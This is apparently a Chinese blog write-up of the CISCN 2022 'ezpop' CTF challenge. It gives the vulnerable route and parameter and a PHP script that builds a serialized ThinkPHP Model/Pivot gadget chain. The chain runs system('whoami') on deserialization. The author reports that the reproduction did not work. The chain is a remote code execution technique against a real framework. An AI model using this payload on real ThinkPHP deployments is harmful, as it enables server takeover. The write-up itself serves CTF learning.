当前位置: 首页 > news >正文

[CISCN 2022 初赛]ezpop(没成功复现)

打开在线环境可以看到:
在这里插入图片描述
记得之前做过一个类似的就是有点像照着漏洞去复现。应该可以直接在网上找到链子去打。
www.zip查看路由是 Index/test,然后 post 传参 a:
在这里插入图片描述
exp(参考了别的大神的wp):

<?php
// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        
    }
    
    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}


在这里插入图片描述
我看的题解是在这一步之后就拿到了flag但是不知道为什么这边显示不出来flag(倒下)就这样吧。

相关文章:

  • Java多线程与高并发专题——原子类和 volatile、synchronized 有什么异同?
  • Mac中nvm切换node版本失败,关闭终端再次打开还是之前的node
  • Protobuf 学习与实践
  • JVM--垃圾回收
  • 网络空间安全(32)Kali MSF基本介绍
  • 【DevOps】 基于数据驱动的Azure DevOps案例实现
  • VS2019下载链接
  • C++的名称空间
  • C# 异步编程
  • RAG技术深度解析:从原理到企业级应用实战
  • 串排序(信息学奥赛一本通-2048)
  • TMS320F28P550SJ9学习笔记12:简单的Modbus协议
  • 如何将一个盘做成 lvm 盘并挂载
  • LeetCode --- 440周赛
  • HarmonyOS第24天:鸿蒙应用安全秘籍:如何为用户数据筑牢防线?
  • YOLOE:实时查看任何事物
  • 类和对象(中)
  • Hive SQL 精进系列: JSON_TUPLE 快速提取多键值
  • QT6.8.2在线安装记录
  • 【async 和 await】
  • 欧阳娜娜等20多名艺人被台当局列入重要查核对象,国台办回应
  • 澎湃思想周报|《混沌少年时》与青少年社媒禁令;自雇陷阱
  • 聘期三年已至:37岁香港青年叶家麟卸任三亚市旅游发展局局长
  • 中共中央、国务院印发《党政机关厉行节约反对浪费条例》
  • 纽约市长称墨西哥海军帆船撞桥事故已致2人死亡
  • 被围观的“英之园”,谁建了潮汕天价违建?